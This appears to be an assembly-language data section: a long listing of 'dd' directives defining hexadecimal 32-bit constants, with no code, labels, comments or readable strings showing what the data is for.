dd 98C4DA9Ah, 2292E9E8h, 0ADFFBEDFh, 4032E5A8h, 96FB933Dh
dd 8D8DFE75h, 57611816h, 0EABC157Dh, 492D975Dh, 0F8E60F6Bh
dd 0C5F74477h, 53C8A4D9h, 1D0059B7h, 59B22062h, 76065A9Ch
dd 709A651h, 5553680Bh, 3CE7F2EBh, 8E2C8989h, 3E965062h
dd 0B7DA51F7h, 0EF506AAAh, 0BE5F4F19h, 20E7A7F8h, 0C3DAC7D3h
dd 28FCAED1h, 8BA18042h, 0DC93FFDFh, 9AF884C0h, 0DAC392A1h
dd 3D68652Bh, 0DB81DD28h, 21C86FB6h, 0C47DE774h, 0D670E066h
dd 3A2F0EC0h, 0AD502411h, 0ECDAA26h, 1508B2D5h, 0A7134053h
dd 80E7CE60h, 0AD15F0A7h, 0B984A3C2h, 0E214903Dh, 60FE0566h
dd 70661D8Ah, 3B41DAA8h, 1B92F27Dh, 4426F908h, 5950FD4Fh
dd 36614294h, 1FACD27Fh, 0A1A08823h, 2BC6BAC3h, 0FBA66E4Fh
dd 6732DC36h, 1217961h, 8B10CA6Bh, 0D277B344h, 3A894ACFh
dd 69B8AF9Eh, 0F93AD698h, 1D06A4h, 6ECD9386h, 8445EB6Bh
dd 66731D0Bh, 0C1F5A778h, 0E7860FD5h, 0D74AFF0Ah, 0A0FDD748h
dd 8B7BE0AFh, 0DA1A9E14h, 8E76B377h, 9874C550h, 0C5D78E8Ah
dd 97E624Bh, 0AA4090A1h, 0CF4DCD89h, 0C8575E8Bh, 0B5546335h
dd 0B2F83E40h, 0A3D3D289h, 0BA74458Ah, 77D4AAA6h, 0A706E682h
dd 4E3FC3A8h, 38F5A05h, 0EED2C95Eh, 38319927h, 0E67B3518h
dd 0DEB9C07h, 5BBDDAE6h, 7FA595F9h, 7CF5F109h, 1E28BE63h
dd 252C9F87h, 0BF301FDAh, 0F96005F0h, 1F978D4Dh, 416EFD57h
dd 0CDA4FF71h, 0ECDE161Fh, 570D71Ch, 0ADB14A0Ch, 204B650Dh
dd 6DB9EFAh, 1363F5E7h, 60B15FF5h, 0C20BE0CAh, 0F085ECCDh
dd 6ED280F5h, 7E9B96A8h, 10999364h, 77292BEAh, 0CBB5149Ah
dd 9EA4F1F5h, 0B95E8A92h, 70EEB9EFh, 9002E9AFh, 0C65BB28Fh
dd 751FF4B3h, 0BD67EC17h, 0C2FCEA09h, 0ED205EE5h, 534D5028h
dd 50ADC49Bh, 0AA7E0E56h, 8B81C118h, 50C040A0h, 0E6458D2Bh
dd 17C4D5F7h, 154FBA9Ah, 578440E8h, 0C653A3B3h, 41FDAEC5h
dd 0B10E1523h, 0C775C8A0h, 554B2171h, 0D39448A1h, 73EB9B56h
dd 0EAEFB834h, 0C0D3958Ch, 3AF16405h, 6A17F075h, 10747D89h
dd 9D8CA74Ah, 0C66F171Fh, 5BBF2A4Eh, 0AF72EF0Dh, 45F6F4DEh
dd 0D0AB7F8h, 0B50FC251h, 2458981Ah, 0DE0DC69h, 3A67C9A1h
dd 48DC5894h, 0FAC6ADB1h, 59E1BE4Eh, 0CE60756Fh, 5BB9982h
dd 603AC2D5h, 1D7DD07Ah, 5354F937h, 3586D550h, 3264095Ah
dd 71DC3938h, 937A78DDh, 4C6F1A8h, 971D7EA6h, 8065A037h
dd 0AD329E3h, 1B138BCh, 0E69E455Ch, 0FFE3E382h, 88DB8C84h
dd 7EDF4089h, 46AF4370h, 67994548h, 473B3CA6h, 5C5ADEB9h
dd 0FAE26751h, 0F0BF954Ch, 0B42BBDAEh, 905BC6A2h, 26B8739Eh
dd 2BA03937h, 139DD6B8h, 0BA24B571h, 9EAE3BD1h, 12CAE567h
dd 0BEBA826Ah, 3B05F02Ch, 5BE92CCh, 8E97D626h, 0EE360ED8h
dd 326BCB6Dh, 0E6E2C9E4h, 718A0C48h, 4E36DD89h, 66A67DD9h
dd 0BB7259D3h, 1A9CF3F9h, 3DDEB399h, 0F9DBCD9Bh, 550E45B3h
dd 0EDAD4026h, 0AF31F3EEh, 0F4660C72h, 161BF45Dh, 820C3D40h
dd 30924687h, 575397FCh, 9822FFBCh, 3DBD4766h, 0F4FF6609h
dd 0A51E3F59h, 76BF4043h, 66C86155h, 0F2C290D3h, 0EA15FD9Fh
dd 9748212Bh, 4FB447F0h, 0E56D4A2Eh, 0D17BA524h, 0C8F3D069h
dd 0D7283086h, 505FA626h, 7EDBFCDFh, 0A3D5BFF1h, 0A693A5A3h
dd 0F820AF5Bh, 16675907h, 0AF99BDDBh, 54563E56h, 0B4184956h
dd 6419A14Ch, 8DEFD114h, 7572797Ah, 5B877CCDh, 23687E96h
dd 2B96A6C5h, 0C5C5CB14h, 12363983h, 71FE89Dh, 0A2D6EA76h
dd 0FC8CEF68h, 9CABB580h, 83A72E18h, 52C20C6Dh, 67D02E0Bh
dd 121043FDh, 5CEE2E73h, 6E1EE311h, 3A40C767h, 0EDE60C41h
dd 8C265E7Ah, 869A11B5h, 65769297h, 799DAB1Bh, 2BCF9051h
dd 0F1FB1EA2h, 0D7ED9E6Ch, 0FF93929Ch, 8445A1B3h, 976A360Fh
dd 2C86DDC4h, 14D7863Fh, 1DFAA266h, 0AD9FBFAFh, 2A9CCCA2h
dd 8EF75259h, 0AA07FA64h, 0BD0D44C5h, 488611F9h, 3D68D48Fh
dd 7D3BD8E0h, 2F9541A7h, 0F96ED41h, 0CA0326F1h, 2CA0AC8Ch
dd 5DE6FC38h, 0E436B092h, 2F9B837h, 0BB399F92h, 49AD9D67h
dd 33447345h, 0DFBFCC79h, 0C97161E0h, 10B2711Ah, 3B473DCh
dd 0EE98D2EAh, 0A6F5C602h, 88657B6Eh, 39C35E3Ch, 6F2D5805h
dd 0E765A942h, 7D762B49h, 6F97834Ah, 0AD1ACB3Ch, 0BEBEE6DAh
dd 409B3943h, 0FB44B4C5h, 15AF74CEh, 1B3BC9E4h, 3B691966h
dd 0A366C0A2h, 1C621ACFh, 5AF9ABDFh, 3A642DD7h, 4AF286C8h
dd 43B72640h, 0F9CC6197h, 243D4F9Ah, 2910DF0Eh, 0E92C3AF5h
dd 0FC48A235h, 0A556F969h, 868A2E35h, 0D49F32BDh, 2F176E48h
dd 0BC4637C4h, 0EEAD19BBh, 0B1D3AD83h, 0ED89D83Bh, 0A478E884h
dd 9B1DD865h, 69ECA6EDh, 0DB7F3AE2h, 0A1D4714Dh, 2074C582h
dd 8BF969ECh, 27F3B0CEh, 12F348D8h, 5D5AB29Eh, 0B27FBB54h
dd 0EF21725Dh, 0EC835027h, 3970E178h, 0B167815Ah, 97D43CFBh
dd 4E186BEh, 0B9AC42F2h, 0DBD80D5h, 0E8A29CB7h, 3058D6DCh
dd 0AEFAFB6Dh, 0A697BBF7h, 8497AF75h, 8B64179Eh, 18356CFBh
dd 0E7889A25h, 0C8296AF9h, 378E648Dh, 27118D8h, 0AF452043h
dd 248CDA79h, 0DB795E15h, 139A25DBh, 2CC15C7Bh, 1E1CD46Eh
dd 8A780A96h, 0B9BAC81Dh, 0E7CB2D20h, 5BDBA102h, 6EF09F6Ah
dd 461FC573h, 927A0361h, 0CF16EEF1h, 0FD174079h, 49B9DC4Dh
dd 7B9EE46Ah, 0C5B80F36h
dd 7D0C96Bh, 0E11C4419h, 4556DAA8h, 0E6778841h, 4E272BB1h
dd 0B79F1092h, 6C4861F8h, 7D903A6Eh, 797CE8Dh, 0B03720h
dd 8D19B3A6h, 0EAE97BEBh, 50F65E53h, 65F3134h, 4D962E5Ch
dd 0CCACE7DAh, 0DF7589D7h, 55DD5574h, 0E9A3B8E5h, 73697541h
dd 43FF1021h, 0A4939AEBh, 98CB6E8Fh, 5B1517E0h, 0A70962F7h
dd 0BC71D48Ah, 8895632Fh, 1425259Fh, 8ADE04D5h, 5570790Dh
dd 54E0759Eh, 87D20AFBh, 20A2FB9Fh, 4F553B70h, 0F23A16A9h
dd 7062078Fh, 95B4EF45h, 0FE8C9CD5h, 7C28ADB6h, 25478ABCh
dd 7F51CE90h, 2294CB0Bh, 0FB83E380h, 4A2C0741h, 0C81C8AD3h
dd 0F0F8454Fh, 0D7DA6082h, 7D1BFF40h, 2B5737F6h, 0E1816099h
dd 0FC0563CDh, 0A5C34306h, 4D185A1Eh, 13B5B3F2h, 0D675D1C2h
dd 4946B3F9h, 0B925574Ch, 3293F9Ch, 0CE62B254h, 426EBFA8h
dd 1DAFEF0Eh, 0DF8E0DA4h, 3FBA5A5Fh, 3CC11BA2h, 0DFB5C99Dh
dd 1EBBC2CBh, 0F6B357EEh, 68F3E8FEh, 686FC6B3h, 0B32F89BAh
dd 64CCF4A8h, 9738FB90h, 295F2089h, 0E3495C9Eh, 0F94459B2h
dd 294E1512h, 7DCAA9BBh, 0A9417ED4h, 9B5A343Ch, 18154EAh
dd 44D99099h, 48F42E8Ch, 2C6BBB0Dh, 0C290FC36h, 31D1B3C8h
dd 0E4642B17h, 931731h, 0C16F69A1h, 3A51AA65h, 0C93ACFB5h
dd 0E5A12850h, 30FC471Fh, 0D7BFC48Ah, 0BD99E33Dh, 803C92E2h
dd 76124B3Ah, 6ADC0B9Eh, 5B4EFECCh, 81B3CAB5h, 3030E703h
dd 0C8AAF505h, 5171D31h, 0F68BCCDFh, 142D3E95h, 0D3268A0h
dd 6A147A8Bh, 27D20EE5h, 0FF40B1E2h, 8F8ECDB2h, 0BE7534E0h
dd 0EF8A8920h, 0E9FD2F1Bh, 0C37EEC6Dh, 0B10CACAh, 4F434515h
dd 0B0CCAA18h, 3FD1B896h, 0AAF92FF4h, 94DDF492h, 6E05FB0Bh
dd 0F5892FB5h, 0E773C4FEh, 5AB5C87h, 1B20F51Dh, 0FDC8246Dh
dd 0A3E5B948h, 1C64CB8Eh, 0A682FA8Fh, 0E0ED16FAh, 328730B0h
dd 0D1833DC8h, 9EDA6EBFh, 0CEE38C03h, 8DE311E8h, 5081CA4Ch
dd 87B0FC0Dh, 0D95CBD8Eh, 0BD4A0B30h, 0A96AE476h, 21C71D5Dh
dd 0CB38F834h, 0B03F1F5Bh, 0CE617F79h, 0D195C0CFh, 0A1F41DEFh
dd 22C8A5A6h, 0B93EE556h, 0EEC08BC0h, 0D72C33DAh, 20D7B7E6h
dd 7FB569B6h, 597AC069h, 0ED297799h, 68A7DB28h, 9737D026h
dd 8521E0Ah, 851829A5h, 99935E44h, 61293AE9h, 4B6BF578h
dd 4979CB5Dh, 8E6A032Ah, 0FAEBEA15h, 0AB1C6359h, 1D0B8DB9h
dd 413A1BBEh, 5B43D61h, 0DF51A491h, 84154D9Eh, 0DAD0538Eh
dd 6E3B559Ch, 0D8BDDF36h, 0A1E246Eh, 6B05AF61h, 0F62B01C8h
dd 43387CAEh, 408F1FB9h, 40E93F02h, 99BB7655h, 0ACDBE18Eh
dd 9C7EC4BCh, 66293A32h, 0E566DE9Ah, 5E709465h, 0DD6A374Ah
dd 2FC3FD50h, 0F1FE3657h, 0EB95C14Ah, 4ABDAF29h, 30600D2Ah
dd 0C97CE675h, 0C3187013h, 483ED266h, 0D5BBB1CFh, 2D8C6716h
dd 93DF701h, 59A6B45Ah, 0DDC302F1h, 2BCCA083h, 3BE9867Dh
dd 5825AFD3h, 975EC1F3h, 9145B853h, 0CF7D024Eh, 7A6D102Dh
dd 0AF9D5772h, 0B01F1AEBh, 0FCAE0EDBh, 3B443262h, 91E667EAh
dd 5E2B6866h, 0C2B6C7DAh, 34110F9Ch, 715F822Fh, 11663562h
dd 20F10447h, 0D4EE341h, 0BF811800h, 0D551F3DCh, 0F44C0FEAh
dd 6A363998h, 62EB9DE1h, 0D35166C4h, 0FAF45F97h, 0B0813F5Eh
dd 0AE098DC6h, 3EC7C470h, 0BB97196Ah, 69F61D1Dh, 6FB77B65h
dd 1C370B47h, 7D769211h, 5E3BBE08h, 63CE54FFh, 9DF49EF2h
dd 6B70A4A3h, 60585481h, 8BF977A7h, 613E3C98h, 67138FD2h
dd 0CC593A77h, 0CACA213Eh, 6A2863D3h, 359F12C8h, 57508A7Fh
dd 48C4DCD6h, 4E94DE77h, 0AEE4A7E7h, 1EC2F37Eh, 898FDC2Eh
dd 77D2650Bh, 2771FEFDh, 2AF9B2A3h, 21654DACh, 0A415B671h
dd 1B55DCB1h, 19F8F21Eh, 0C1A3D972h, 6B24D8A8h, 0BD89AECCh
dd 54787820h, 4E8E1C68h, 0DCB5AD41h, 52FF25B4h, 0C8135734h
dd 0C52A3EB8h, 0C932D0CEh, 0EB335C83h, 8E482F4Eh, 95FDD812h
dd 0DFAB6D0Bh, 3921F595h, 0A8308DA4h, 6D0F5915h, 0C792F0FDh
dd 7CB9F53Bh, 0F720EB58h, 0F2A59F93h, 98FF1C2Ah, 0C32F1EFBh
dd 886163B8h, 64764CCFh, 0D3B87C50h, 5BAE58F8h, 0BCAD47BCh
dd 751468ECh, 0ABAEA8A2h, 0F07B9126h, 0D5B69782h, 0B6B6CE5Ch
dd 0B7452C8Bh, 0CE49490Ch, 0E27CBBB4h, 98FF2662h, 28E157Fh
dd 7D9D0432h, 0C8440086h, 0C771AF93h, 0D1F5C1DCh, 0A2686E99h
dd 14AB6A98h, 130B5B8Eh, 0DB36F3BDh, 2E6EF025h, 787C5E78h
dd 0E28A549Fh, 657CD9E2h, 0AECC9865h, 0FCB95E47h, 6CD82583h
dd 0BE7ED3D3h, 0E8DDA9FDh, 493394CDh, 0AB74760Ah, 0E32D3F48h
dd 53C0F5C1h, 0FFF11BEEh, 0DF90FFA4h, 4FFE02B2h, 748A100h
dd 29A2300Ch, 40E8E74Ah, 0C1EF8B0Dh, 14AA4D88h, 27851F0Eh
dd 0C9383A8Ch, 0E42ECF68h, 5D5BB29Eh, 90632C09h, 0FD96EF8Eh
dd 1FC88463h, 9ED0B438h, 0C4D4FDD6h, 2ED66189h, 0A665DD8Dh
dd 455EA129h, 0EC250426h, 897D4579h, 10DD5C3Ah, 8151E00Ah
dd 7BD460CBh, 0B38BBEE8h, 3D050CF7h, 1FC05D8Eh, 0BA69219h
dd 0DCFBACF2h, 0D25BE9B8h, 917BBD45h, 0D41B89B7h, 89079884h
dd 0C608ECCCh, 210B2A52h, 76C9C88h, 12047189h, 356DC807h
dd 0CF592EEEh, 5BB049E5h, 6D741570h, 11A1D59Fh, 457D692Ah
dd 0E98BEF25h, 5E9D9C33h, 0FCB8C4A7h, 0EB7380BBh, 0F6FD1936h
dd 0D5706A81h, 0DB44CC9Ah, 0F70B749Fh, 0A5AECC44h, 102B6DE1h
dd 9DEAC13Eh, 27BF00FBh, 0EB94D1Ah, 0C11D575h, 13D7A3A7h
dd 877E9D2Ah, 0CDF80E3Eh, 0D19F87FBh, 57625077h, 0A4B10877h
dd 1F919CF8h, 19199A90h, 18F834E6h, 95BF0838h, 7CFC1919h
dd 0C4C74C00h, 20615A63h, 3E3C89E1h, 1987DCC5h, 2025777h
dd 0DA883A00h, 3C017C3Ah, 0AB2C5B54h, 25585EE5h, 0E93AB494h
dd 0EAEE807Dh, 9AC54185h, 4B25F85Ch, 0FD40A06Fh, 0C9EE1A57h
dd 9F4B4282h, 9098AF12h, 8C53BE25h, 13370BF9h, 0C3F46CAEh
dd 10DE3095h, 65CE0B74h, 0D96DCD82h, 7F708815h, 89A70B79h
dd 0DB1B7D17h, 1B7DA5CCh, 25E9504Dh, 6C1E86ADh, 0C12531A0h
dd 1F59A23Dh, 0A60822B8h, 0FA18F4B8h, 0D545C564h, 832457E4h
dd 1F53819h, 5C073E74h, 0EC4AC57Bh, 47A1C363h, 911DF422h
dd 6E8E0084h, 0A8C8B0A0h, 1D925A77h, 0F476B337h, 4A3D071Eh
dd 0C6481CA2h, 0A5912A4Fh, 0C010C3A5h, 0B0F30EA1h, 13999D0Fh
dd 0DD7F98FDh, 0DD20858Fh, 5B82BAB5h, 0D8A0E93Fh, 3C537D56h
dd 25F48D3Eh, 398450C9h, 62D4ED5Ah, 0B986FB32h, 0EB7D61D7h
dd 19301111h, 2F58E8F6h, 2C94E56Bh, 0BD366EFDh, 1EDEA4F3h
dd 0BB4CD79Bh, 88D015C5h, 137A8F24h, 0CC52E0E0h, 0B495DC2Dh
dd 4FCE3027h, 20FDC261h, 0B1101FE9h, 7595CCD8h, 371A1109h
dd 3E4CF513h, 33BFF285h, 0D375CFFDh, 9D02E680h, 32248E97h
dd 0FE865E37h, 848DABh, 5AD5A0D9h, 23105E53h, 0E0824640h
dd 255E173Bh, 9742BE2Fh, 0BB405680h, 90A63F43h, 385855A3h
dd 0AFDDFBFAh, 0A42B5F12h, 5E8CD08h, 0A8660942h, 9789145Fh
dd 2E7FFA1Eh, 5CDF4E46h, 0E136DE36h, 17B371B1h, 0FB4A8534h
dd 56BC027Eh, 3946697Bh, 72BF865Ah, 0E5366A09h, 0A051495Dh
dd 69C55A8h, 0FFEA85C3h, 91284CC7h, 0A7C62571h, 2F3317BCh
dd 85027363h, 0C863D323h, 0F4D112E7h, 0AA3D1507h, 9EBB8C95h
dd 24D75D7Fh, 362CEA12h, 0DBA8E762h, 445F1085h, 0E59421E0h
dd 0B470ECE2h, 10F2244Ch, 74183BD2h, 6B0E96D3h, 447F15CDh
dd 8398761Ah, 9A24C81Bh
dd 5F4A36EDh, 58604D5Bh, 0BA460EA6h, 11A13C64h, 159B6DE7h
dd 0A51CE1E5h, 79F11402h, 437CA289h, 7FCD3551h, 0C067EEFCh
dd 83D4B67Eh, 0B400F1D0h, 14CD2CE0h, 3E77593Ah, 61AEB55Ch
dd 0B3821AD0h, 59C1C25Eh, 30938352h, 33516169h, 4711B81Eh
dd 5134EAB5h, 3232A9F5h, 3BAFD2F6h, 6D5F8EDEh, 0CB4F9F26h
dd 2678D839h, 60381D04h, 20F1E1C9h, 831D6F15h, 9DEEE65h
dd 6254AE81h, 0D0D7A764h, 3699942Eh, 0BC0644AAh, 0DAF50D31h
dd 0DF69DB0h, 54DA1AC7h, 5487DE8Eh, 9749B072h, 4FE77454h
dd 6CBA613h, 9B9E19DAh, 0B90A9F2Bh, 17056EBBh, 0DA836301h
dd 0C60A6687h, 0E1C572C9h, 0BBBE1928h, 0CA1E331Ah, 7FBC5883h
dd 0D3E18B50h, 78E0C840h, 8D7903h, 77E6DDF9h, 1691EB3h
dd 88A66D45h, 0AF556503h, 94F2A7FFh, 6116A4B9h, 0A2E80EDAh
dd 0FC319C75h, 861310D5h, 3D1349E5h, 2A4A1022h, 0D732CC9Ch
dd 803806B9h, 674EEE49h, 0A2068C3Dh, 3D52F1D8h, 0AEF367F9h
dd 0A97E6DB0h, 14F0303Bh, 3439897Fh, 0F4B7EE0Dh, 6FB7640h
dd 2A6B9ACFh, 7902F64h, 1590B8Eh, 68F397C9h, 0C2C41956h
dd 0A68C7C88h, 0C7ABB25Ah, 1B62CFEFh, 18A2A1EBh, 32CD6F3Ah
dd 0A6440144h, 656682CCh, 0DE3FCF16h, 2CB94432h, 73A2A7A5h
dd 0FA7A89D9h, 8993A082h, 1F497F0Ch, 4841576Fh, 14C7600Bh
dd 9D0D7580h, 55922F78h, 0D8C9467Fh, 0DB54A496h, 7AD2B19Bh
dd 0DF5BAD48h, 9825B60Ch, 39E429C6h, 0FD81B7A3h, 471731BEh
dd 210C9011h, 51CD0ACFh, 489A57C7h, 0AF379BB6h, 7E66CB5Ah
dd 57A4AE77h, 0DE4CC817h, 52A03103h, 20109361h, 146A423h
dd 9F7774A0h, 80ABACDCh, 312EB166h, 0C9B42BD9h, 0EBCB349h
dd 0F885A163h, 0D649564Fh, 37FA4C1Bh, 216534Eh, 742424AEh
dd 4410299Ah, 433671F4h, 0DBC6EF56h, 85366649h, 0BCA4DB9Dh
dd 8D773224h, 946DEF08h, 0BAB5F16h, 0BE57C91Ch, 0E58E2324h
dd 0CD22634Eh, 0C51BD2C4h, 9BAAAA95h, 0B202EC64h, 9F007F49h
dd 9C67A5C5h, 0ECC10662h, 1E9E3CD2h, 991C4530h, 70C16587h
dd 9FAAFE0Ah, 0BD05415Fh, 5A9D7922h, 0A51D181Bh, 661C39D2h
dd 0F3B6DB3Fh, 8DEACD8Eh, 91AACCDBh, 103FFD2Bh, 0FC4DCC89h
dd 179888D2h, 505F5EE0h, 2A3B754Eh, 0C6FCECCh, 0B028C6C0h
dd 9139E103h, 1F5006Ch, 0F7FAF0A5h, 0C46FAA9Bh, 571F5521h
dd 0CBD0CD15h, 358641E3h, 30671192h, 813AC725h, 0FA03192h
dd 2935627Dh, 948B2FFDh, 0DED9908Dh, 0B2D17382h, 0D556A61Fh
dd 0EB727B5Eh, 7EAB2496h, 4BD41E70h, 0EB53D56h, 4A2ED745h
dd 273B74E2h, 1B03F8h, 0EAD0BD45h, 0A74B592Bh, 8DF4505Dh
dd 3F2B668Eh, 5FB6C69Eh, 0E403A2B3h, 68A34FCAh, 2CF611B1h
dd 2E0D4176h, 34133144h, 10D13086h, 0EB763295h, 76AE2A4Ah
dd 7AB79864h, 2FBA253Fh, 0DE2BD24Eh, 430E84C6h, 906F4D2Ah
dd 24A8DD33h, 0BF8B33CFh, 34C3D738h, 0D4898D81h, 0E525B0BCh
dd 0C5F97A6Ah, 0DC587D8Fh, 6D4CDDE2h, 0CCC1D37Ah, 7B27B00Eh
dd 0CD3921A9h, 2B1FE5EFh, 9AA70C3Fh, 1CEF6047h, 3B233490h
dd 0C186070Eh, 140DC1DCh, 0A77E5E98h, 0FC682213h, 0B52887BCh
dd 0C16B1BD9h, 41520A26h, 213F5FA8h, 417A8D81h, 27DD73DEh
dd 0BE17F29Fh, 539801CBh, 866B436Fh, 334AEF95h, 9CD8AB68h
dd 0BA05388Dh, 8871F66Dh, 7132E1F2h, 1E09550Ch, 0CB0D1E19h
dd 0EDF51E37h, 0DC555FC3h, 0F280CEFAh, 0C22C0A83h, 0E4E4D95h
dd 4D7A1F8Eh, 0EF41EDC2h, 0FF3BDC92h, 8AFCF1DBh, 66C6B67Eh
dd 26E57463h, 0F1A7F362h, 7C87779Dh, 6EE7228Ch, 0D063091h
dd 0EDB5DB26h, 1BFE3829h, 8B0D764Fh, 0EFA4F1BFh, 393C3459h
dd 0AB70DCB2h, 2B9E403Ch, 75354968h, 0BCA53CE4h, 0D588C8EAh
dd 7737EC56h, 3C68DEFAh, 0E454B3F6h, 59943D0Bh, 0AE138EDAh
dd 0D9D98DEEh, 0FB8CBCA6h, 0A45437A4h, 6FE579C2h, 1EC7A298h
dd 9CC8F54Bh, 0C55E136h, 5794CB38h, 3F1C7A6Bh, 6C2C3C03h
dd 13F308EBh, 22D7EFAh, 88CD6366h, 0BD827625h, 8E6A731Fh
dd 8E89007Eh, 7ADCE8A3h, 551CCF42h, 9CCC9E1Eh, 0C1C854DFh
dd 74BD3F5Fh, 7ED847E2h, 1096F697h, 8AD20A3h, 0C73CE92Dh
dd 0C69D6F07h, 18F62F40h, 14794EDCh, 0B222C786h, 8C80628Fh
dd 66CFA440h, 69D23CFBh, 0E4AFA189h, 0A84B8FE7h, 0A38F9E02h
dd 0C138BA2Ch, 0DFA2EDFDh, 4D34135Fh, 0C7299113h, 45CF7E6Dh
dd 0FA318925h, 99DA164Bh, 876D0097h, 21E0C28Eh, 6DEB1EB6h
dd 0CF830B34h, 0EFEF15ECh, 785DF0F1h, 0F8C1D27Ch, 0BA7FD024h
dd 5EAD1A5Ah, 7024A316h, 5036AE32h, 521A95B9h, 299A6CFDh
dd 3EA199A2h, 0A10F76D8h, 0F3037E6Dh, 7FBF9042h, 0C8C75540h
dd 0AF45515Dh, 0EDF761Dh, 0A306D343h, 405AD608h, 9103CFF7h
dd 7BD0BFC7h, 0F2DB5551h, 0E889EDB7h, 0C73FE033h, 22999E16h
dd 64B06382h, 26065929h, 9FE780F4h, 0F0954EC0h, 0B93AA0A5h
dd 34E119B9h, 0E5CDB30Eh, 8CED2B5Dh, 47B5668Eh, 0C7DB4B8Dh
dd 0CCBEC362h, 284003C0h, 0FBEFD120h, 9C6F7E58h, 0B8563D9h
dd 0EFB29583h, 0E69A7CC1h, 7FBA5095h, 2EA83214h, 2A4C3ECBh
dd 6904E6F0h, 15A1EC66h, 1DC051F6h, 7DA6241Eh, 0E36D769Dh
dd 9D6117A2h, 0D4A008DCh, 0A424C5C4h, 9C7DCCFCh, 179B5676h
dd 0FA42F65Dh, 7FA76BBFh, 25096FB0h, 5FD84FFBh, 0C34228E8h
dd 1ABF1798h, 0F40CC00Bh, 7F07CB4Bh, 0F832ECCBh, 38C7D723h
dd 6A944F73h, 58B01F55h, 9565D0A8h, 0E7CA53Fh, 0DD7C6BC3h
dd 0B87D988h, 244D30Ch, 0A61A68D9h, 1B2DCC73h, 6A2E4BC8h
dd 0AB21D8A9h, 0E11E12EDh, 87EA64D1h, 98320AF5h, 0E06C26D2h
dd 0A29D58BDh, 9EB5A4B4h, 0B7EA9906h, 2F55CC57h, 334240F6h
dd 0F3DCEF0Dh, 0FE3E2AFFh, 0B787B1A2h, 135934D8h, 0EE7114FEh
dd 0D17B0F8Bh, 614C5CCh, 0ACEF6A4Dh, 5859841Ah, 5B711150h
dd 280FD0E1h, 2ABAA925h, 91039AA2h, 40851CC2h, 874580ACh
dd 6D834569h, 35A85135h, 478143DBh, 0C714B294h, 456A307h
dd 0BA23FA63h, 86411219h, 88EF30D5h, 0D59C12F1h, 3BFCAA0Fh
dd 511AC173h, 48E257A0h, 7D9C323Ah, 4DD5C3Ch, 1D1A26FBh
dd 71FEAD3h, 3073F9E9h, 1BF3B433h, 72D25D65h, 3CBBAB0Eh
dd 0F8A22EBh, 24FE65F2h, 1A7CC30Eh, 4DA83697h, 257E8C2Ch
dd 4AFA5728h, 4C483B17h, 7FA224FEh, 709EC315h, 566065ABh
dd 4C90B3h, 0E22664DCh, 9BA4A35Eh, 52D0AA9h, 3BFE314Ah
dd 0CCFA816Ch, 0E71555B1h, 3021D667h, 69C1E99Fh, 0B5BF2A50h
dd 6213172Ch, 19246EAFh, 98DDDB7Ch, 0F3DF2FB3h, 0C4F115CBh
dd 1D7AB0A2h, 94FF2DACh, 33E76C17h, 5A31E760h, 4163558Ah
dd 9754C641h, 53FEC65Bh, 0CD0A336Ah, 409A2CF0h, 0D7692A83h
dd 975A7BCDh, 0ADF803FEh, 0E876C6D8h, 9AF91A83h, 328FACA7h
dd 0E38684FAh, 0AF335C69h, 0E038E9ADh, 0D8CB3B9Fh, 1D70126Eh
dd 2493D4F7h, 0BB7B612h, 0E0B1AFAh, 0F06C564Ch, 303BC80h
dd 44FF8B5Ch, 0EE891CD7h, 4E48E73Dh, 0EB18280Dh, 5124B9BEh
dd 0B56FB82Dh, 0CA4964Dh, 0E341FB50h, 88493346h, 2C2CBD28h
dd 577CD2B6h, 9B165F83h, 2AFCE9D9h, 243DEFC9h, 79FEE2FDh
dd 0AD9F0B4Ah, 3C8CF1B9h, 8AB0FC58h, 0DC542B4h, 4B11E7AAh
dd 0FF01A57Fh, 2394CA47h, 0E6E6B6F1h, 963ED64Bh, 37E4184Fh
dd 388A037Fh, 0AA6C7981h, 2FCCD04Dh, 0FDAE79F0h, 6D3E1293h
dd 239BBBC2h, 0BFF8E0B3h
dd 5F510CD5h, 0C8F5F561h, 0EA8832C6h, 792EC1Bh, 0D1D43DB2h
dd 2B1BA53Ch, 7985F0F6h, 0DA47CF65h, 16928FA5h, 0CF91F456h
dd 0EE27240Dh, 0B94DA91h, 37F5A5BFh, 0FB605206h, 0E47ED395h
dd 0B43A5095h, 850849D3h, 3292F0B3h, 752398B4h, 4BC705F7h
dd 12181892h, 0A3447487h, 0F14E5966h, 623FD345h, 392A9124h
dd 109482A1h, 0C12A0EE1h, 49D46E42h, 86E57E90h, 4D626704h
dd 448817Dh, 4C6CB48h, 0B9CB7216h, 18C263C2h, 233EB32h
dd 21098B2Dh, 6FA4BA30h, 0F8B7FDD7h, 73B83833h, 0DE6083BBh
dd 55F91960h, 0C95CE407h, 0CCC26794h, 0EE798CBAh, 0F5F14398h
dd 0C8B9AFB8h, 31628589h, 846A84C4h, 6990EAA5h, 854DA3CCh
dd 0EDD8F53Ah, 0F9A055CBh, 0AB9AB868h, 341903E6h, 0ADD48AFAh
dd 8E0CACBDh, 25EC8D05h, 17722749h, 0A3A10FD4h, 2664354Fh
dd 40C1B9FEh, 63A6B78Eh, 59339E71h, 0DAF59343h, 8B389169h
dd 0C8163EB4h, 15DC8582h, 6C06E7D1h, 0BD8B1310h, 5B6BCF5Eh
dd 9D1D2A1Ch, 0C3F3E7BEh, 0B432D072h, 0E2C19F61h, 7EE527BBh
dd 0A73ED217h, 370AD864h, 267D543Bh, 0E9002F0Ah, 0C7BD3E77h
dd 5079D9B1h, 0B43E401Bh, 0E771FDAh, 0FF4C2135h, 0D0B9082Fh
dd 0C3A41FDAh, 46CD12F8h, 0CC9A6FE6h, 81495536h, 0BE803BD6h
dd 6FA9A90h, 0A116E82Ah, 2C358E3Eh, 43BAAD11h, 9BB6C64Eh
dd 5044E2DBh, 0A79711C3h, 6542DB5Ch, 4E45ED7Bh, 0B6B55902h
dd 92A6C69Bh, 9BCB2519h, 943B094h, 9C9651EEh, 385A0548h
dd 0C7AFE064h, 86DA0FD7h, 89DA4009h, 0FFECB670h, 0E3E6FAECh
dd 4FB78DB8h, 0E5E88715h, 0A4635DC3h, 8B13D126h, 0A69F0CB0h
dd 101E1BF4h, 273D8D47h, 0B7872FABh, 4436DAF7h, 312FA43Eh
dd 31E3D8FBh, 0AAAC5FFEh, 0D802B602h, 0CDEF902Ah, 0F643DC74h
dd 0DB8522BEh, 336E109Ah, 0E11B1141h, 207F8CFBh, 0FE7A29C3h
dd 5174B75Ch, 206A26F0h, 2E381394h, 4FB18AA3h, 1EF4EC24h
dd 2CE8F9BFh, 4D3E31DCh, 0C0DB6D63h, 2D39E66Bh, 8FB24BF1h
